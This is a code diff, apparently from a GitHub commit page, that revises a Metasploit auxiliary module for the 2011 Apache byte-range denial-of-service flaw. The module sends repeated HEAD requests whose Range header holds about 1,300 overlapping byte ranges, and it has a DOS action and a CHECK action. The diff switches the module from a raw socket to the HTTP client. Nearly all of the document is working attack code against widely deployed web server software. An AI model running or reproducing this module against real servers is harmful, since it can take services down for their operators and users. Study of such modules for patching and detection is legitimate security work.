13
13
14
14
class Metasploit3 < Msf ::Auxiliary
15
15
16
- include Msf ::Exploit ::Remote ::Tcp
17
16
include Msf ::Exploit ::Remote ::HttpClient
18
17
include Msf ::Auxiliary ::WmapScanFile
19
18
include Msf ::Auxiliary ::Scanner
@@ -45,35 +44,27 @@ def initialize(info = {})
45
44
[ 'OSVDB' , '74721' ] ,
46
45
] ,
47
46
'DisclosureDate' => 'Aug 19 2011' ,
48
-
49
- 'Actions' =>
50
- [
51
- [ 'DOS' ] ,
52
- [ 'CHECK' ]
53
- ] ,
54
- 'DefaultAction' => 'DOS'
55
-
56
47
) )
57
48
58
49
register_options (
59
50
[
60
51
Opt ::RPORT ( 80 ) ,
61
52
OptString . new ( 'URI' , [ true , "The request URI" , '/' ] ) ,
62
53
OptInt . new ( 'RLIMIT' , [ true , "Number of requests to send" , 50 ] ) ,
63
- OptString . new ( 'ACTION' , [ true , "DOS or CHECK" , "DOS" ] )
54
+ OptEnum . new ( 'ACTION' , [ true , "DOS or CHECK" , "DOS" , [ "DOS" , "CHECK" ] ] )
64
55
] , self . class )
65
56
end
66
57
67
58
def run_host ( ip )
68
59
69
- case action . name
60
+ case datastore [ ' action' ]
70
61
71
- when 'DOS'
72
- conduct_dos ( )
62
+ when 'DOS'
63
+ conduct_dos ( )
73
64
74
- when 'CHECK'
75
- check_for_dos ( )
76
- end
65
+ when 'CHECK'
66
+ check_for_dos ( )
67
+ end
77
68
78
69
end
79
70
@@ -94,14 +85,12 @@ def check_for_dos()
94
85
:host => rhost ,
95
86
:port => rport ,
96
87
:data => "Apache Byte-Range DOS at #{ path } "
97
-
98
88
)
99
89
100
90
else
101
- print_status ( "NADA" )
102
-
103
- end
91
+ print_status ( "#{ rhost } doesn't seem to be vulnerable at #{ path } " )
104
92
93
+ end
105
94
106
95
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
107
96
rescue ::Timeout ::Error , ::Errno ::EPIPE
@@ -113,23 +102,19 @@ def check_for_dos()
113
102
114
103
def conduct_dos ( )
115
104
uri = datastore [ 'URI' ]
105
+ rhost = datastore [ 'RHOST' ]
116
106
ranges = ''
117
107
for i in ( 0 ..1299 ) do
118
108
ranges += ",5-" + i . to_s
119
109
end
120
110
for x in 1 ..datastore [ 'RLIMIT' ]
121
111
begin
122
- connect
123
112
print_status ( "Sending DoS packet #{ x } to #{ rhost } :#{ rport } " )
124
-
125
- sploit = "HEAD " + uri + " HTTP/1.1\r \n "
126
- sploit << "Host: " + rhost + "\r \n "
127
- sploit << "Range: bytes=0-" + ranges + "\r \n "
128
- sploit << "Accept-Encoding: gzip\r \n "
129
- sploit << "Connection: close\r \n \r \n "
130
-
131
- sock . put ( sploit )
132
- disconnect
113
+ res = send_request_cgi ( {
114
+ 'uri' => uri ,
115
+ 'method' => 'HEAD' ,
116
+ 'headers' => { "HOST" => rhost ,
117
+ "Range" => "bytes=0-#{ ranges } " } } , 1 )
133
118
rescue ::Rex ::ConnectionRefused
134
119
print_status ( "Unable to connect to #{ rhost } :#{ rport } ." )
135
120
rescue ::Errno ::ECONNRESET
0 commit comments